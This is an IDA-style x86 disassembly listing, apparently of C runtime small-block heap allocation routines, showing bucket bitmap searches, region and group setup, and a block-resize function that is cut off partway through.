; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C510	proc near		; CODE XREF: sub_41B8E0+1Dp
					; sub_41BA10+99p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		mov	eax, dword_4DB798
		imul	eax, 14h
		mov	ecx, dword_4DB79C
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 17h
		and	edx, 0FFFFFFF0h
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_28]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 20h
		jge	short loc_41C55C
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	[ebp+var_24], edx
		mov	[ebp+var_34], 0FFFFFFFFh
		jmp	short loc_41C571
; ---------------------------------------------------------------------------


loc_41C55C:				; CODE XREF: sub_41C510+36j
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		or	eax, 0FFFFFFFFh
		shr	eax, cl
		mov	[ebp+var_34], eax


loc_41C571:				; CODE XREF: sub_41C510+4Aj
		mov	ecx, dword_4DB790
		mov	[ebp+var_18], ecx


loc_41C57A:				; CODE XREF: sub_41C510+94j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_41C5A6
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_24]
		and	ecx, [eax]
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_34]
		and	eax, [edx+4]
		or	ecx, eax
		test	ecx, ecx
		jz	short loc_41C59B
		jmp	short loc_41C5A6
; ---------------------------------------------------------------------------


loc_41C59B:				; CODE XREF: sub_41C510+87j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_41C57A
; ---------------------------------------------------------------------------


loc_41C5A6:				; CODE XREF: sub_41C510+70j
					; sub_41C510+89j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	loc_41C68D
		mov	eax, dword_4DB79C
		mov	[ebp+var_18], eax


loc_41C5BA:				; CODE XREF: sub_41C510+D7j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DB790
		jnb	short loc_41C5E9
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_24]
		and	eax, [edx]
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+4]
		or	eax, edx
		test	eax, eax
		jz	short loc_41C5DE
		jmp	short loc_41C5E9
; ---------------------------------------------------------------------------


loc_41C5DE:				; CODE XREF: sub_41C510+CAj
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_41C5BA
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C510+B3j
					; sub_41C510+CCj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DB790
		jnz	loc_41C68D


loc_41C5F8:				; CODE XREF: sub_41C510+104j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnb	short loc_41C616
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41C60B
		jmp	short loc_41C616
; ---------------------------------------------------------------------------


loc_41C60B:				; CODE XREF: sub_41C510+F7j
		mov	ecx, [ebp+var_18]
		add	ecx, 14h
		mov	[ebp+var_18], ecx
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C616:				; CODE XREF: sub_41C510+EEj
					; sub_41C510+F9j
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+var_2C]
		jnz	short loc_41C667
		mov	eax, dword_4DB79C
		mov	[ebp+var_18], eax


loc_41C626:				; CODE XREF: sub_41C510+135j
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DB790
		jnb	short loc_41C647
		mov	edx, [ebp+var_18]
		cmp	dword ptr [edx+8], 0
		jz	short loc_41C63C
		jmp	short loc_41C647
; ---------------------------------------------------------------------------


loc_41C63C:				; CODE XREF: sub_41C510+128j
		mov	eax, [ebp+var_18]
		add	eax, 14h
		mov	[ebp+var_18], eax
		jmp	short loc_41C626
; ---------------------------------------------------------------------------


loc_41C647:				; CODE XREF: sub_41C510+11Fj
					; sub_41C510+12Aj
		mov	ecx, [ebp+var_18]
		cmp	ecx, dword_4DB790
		jnz	short loc_41C667
		call	sub_41CA50
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_41C667
		xor	eax, eax
		jmp	loc_41CA41
; ---------------------------------------------------------------------------


loc_41C667:				; CODE XREF: sub_41C510+10Cj
					; sub_41C510+140j ...
		mov	edx, [ebp+var_18]
		push	edx
		call	sub_41CB60
		add	esp, 4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+10h]
		mov	[edx], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jnz	short loc_41C68D
		xor	eax, eax
		jmp	loc_41CA41
; ---------------------------------------------------------------------------


loc_41C68D:				; CODE XREF: sub_41C510+9Cj
					; sub_41C510+E2j ...
		mov	edx, [ebp+var_18]
		mov	dword_4DB790, edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+10h]
		mov	[ebp+var_38], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx]
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0FFFFFFFFh
		jz	short loc_41C6D0
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_41C705


loc_41C6D0:				; CODE XREF: sub_41C510+19Bj
		mov	[ebp+var_30], 0


loc_41C6D7:				; CODE XREF: sub_41C510+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_41C705
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_41C6D7
; ---------------------------------------------------------------------------


loc_41C705:				; CODE XREF: sub_41C510+1BEj
					; sub_41C510+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_41C752
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx


loc_41C752:				; CODE XREF: sub_41C510+226j
					; sub_41C510+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_41C76B
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_41C752
; ---------------------------------------------------------------------------


loc_41C76B:				; CODE XREF: sub_41C510+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_41C79C
		mov	[ebp+var_14], 3Fh


loc_41C79C:				; CODE XREF: sub_41C510+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_41C9C0
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41C88A
		cmp	[ebp+var_20], 20h
		jge	short loc_41C81F
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41C81D
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_41C81D:				; CODE XREF: sub_41C510+2F3j
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81F:				; CODE XREF: sub_41C510+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41C88A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx


loc_41C88A:				; CODE XREF: sub_41C510+2A4j
					; sub_41C510:loc_41C81Dj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_41C9C0
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_41C9C0
		cmp	[ebp+var_14], 20h
		jge	short loc_41C95A
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41C938
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx


loc_41C938:				; CODE XREF: sub_41C510+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_41C9C0
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C510+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_41C997
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx


loc_41C997:				; CODE XREF: sub_41C510+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax


loc_41C9C0:				; CODE XREF: sub_41C510+292j
					; sub_41C510+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_41C9DA
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax


loc_41C9DA:				; CODE XREF: sub_41C510+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_41CA33
		mov	eax, [ebp+var_18]
		cmp	eax, dword_4DB794
		jnz	short loc_41CA33
		mov	ecx, [ebp+var_30]
		cmp	ecx, dword_4DB78C
		jnz	short loc_41CA33
		mov	dword_4DB794, 0


loc_41CA33:				; CODE XREF: sub_41C510+501j
					; sub_41C510+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4


loc_41CA41:				; CODE XREF: sub_41C510+152j
					; sub_41C510+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_41C510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA50	proc near		; CODE XREF: sub_41C510+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB798
		cmp	eax, dword_4DB788
		jnz	short loc_41CAAB
		mov	ecx, dword_4DB788
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, dword_4DB79C
		push	edx
		push	0
		mov	eax, dword_4DB7A0
		push	eax
		nop
		call	near ptr 2880000h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41CA93
		xor	eax, eax
		jmp	loc_41CB5B
; ---------------------------------------------------------------------------


loc_41CA93:				; CODE XREF: sub_41CA50+3Aj
		mov	ecx, [ebp+var_4]
		mov	dword_4DB79C, ecx
		mov	edx, dword_4DB788
		add	edx, 10h
		mov	dword_4DB788, edx


loc_41CAAB:				; CODE XREF: sub_41CA50+Fj
		mov	eax, dword_4DB798
		imul	eax, 14h
		mov	ecx, dword_4DB79C
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, dword_4DB7A0
		push	edx
		call	near ptr 2870000h
		nop
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_41CAE5
		xor	eax, eax
		jmp	short loc_41CB5B
; ---------------------------------------------------------------------------


loc_41CAE5:				; CODE XREF: sub_41CA50+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	near ptr 28907B6h
		nop
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_41CB22
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4DB7A0
		push	edx
		call	near ptr 28820CAh
		nop
		xor	eax, eax
		jmp	short loc_41CB5B
; ---------------------------------------------------------------------------


loc_41CB22:				; CODE XREF: sub_41CA50+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, dword_4DB798
		add	eax, 1
		mov	dword_4DB798, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]


loc_41CB5B:				; CODE XREF: sub_41CA50+3Ej
					; sub_41CA50+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41CA50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB60	proc near		; CODE XREF: sub_41C510+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0


loc_41CB7F:				; CODE XREF: sub_41CB60+36j
		cmp	[ebp+var_8], 0
		jl	short loc_41CB98
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_41CB7F
; ---------------------------------------------------------------------------


loc_41CB98:				; CODE XREF: sub_41CB60+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_41CBC0
; ---------------------------------------------------------------------------


loc_41CBB7:				; CODE XREF: sub_41CB60+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax


loc_41CBC0:				; CODE XREF: sub_41CB60+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_41CBE6
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_41CBB7
; ---------------------------------------------------------------------------


loc_41CBE6:				; CODE XREF: sub_41CB60+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		nop
		call	near ptr 28907B6h
		test	eax, eax
		jnz	short loc_41CC19
		or	eax, 0FFFFFFFFh
		jmp	loc_41CD4A
; ---------------------------------------------------------------------------


loc_41CC19:				; CODE XREF: sub_41CB60+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_41CC38
; ---------------------------------------------------------------------------


loc_41CC2C:				; CODE XREF: sub_41CB60+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx


loc_41CC38:				; CODE XREF: sub_41CB60+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_41CC9D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_41CC2C
; ---------------------------------------------------------------------------


loc_41CC9D:				; CODE XREF: sub_41CB60+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_41CD2D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41CD2D:				; CODE XREF: sub_41CB60+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]


loc_41CD4A:				; CODE XREF: sub_41CB60+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD50	proc near		; CODE XREF: sub_41B960+50p
					; sub_41BA10+81p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_41D076
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41CDDB
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_41CDE2


loc_41CDDB:				; CODE XREF: sub_41CD50+7Ej
		xor	eax, eax
		jmp	loc_41D337
; ---------------------------------------------------------------------------


loc_41CDE2:				; CODE XREF: sub_41CD50+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_41CDFB
		mov	[ebp+var_20], 3Fh


loc_41CDFB:				; CODE XREF: sub_41CD50+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_41CEDD
		cmp	[ebp+var_20], 20h
		jnb	short loc_41CE72
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_41CE70
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_41CE70:				; CODE XREF: sub_41CD50+106j
		jmp	short loc_41CEDD
; ---------------------------------------------------------------------------


loc_41CE72:				; CODE XREF: sub_41CD50+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_41CEDD
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_41CEDD:				; CODE XREF: sub_41CD50+B7j
					; sub_41CD50:loc_41CE70j ...
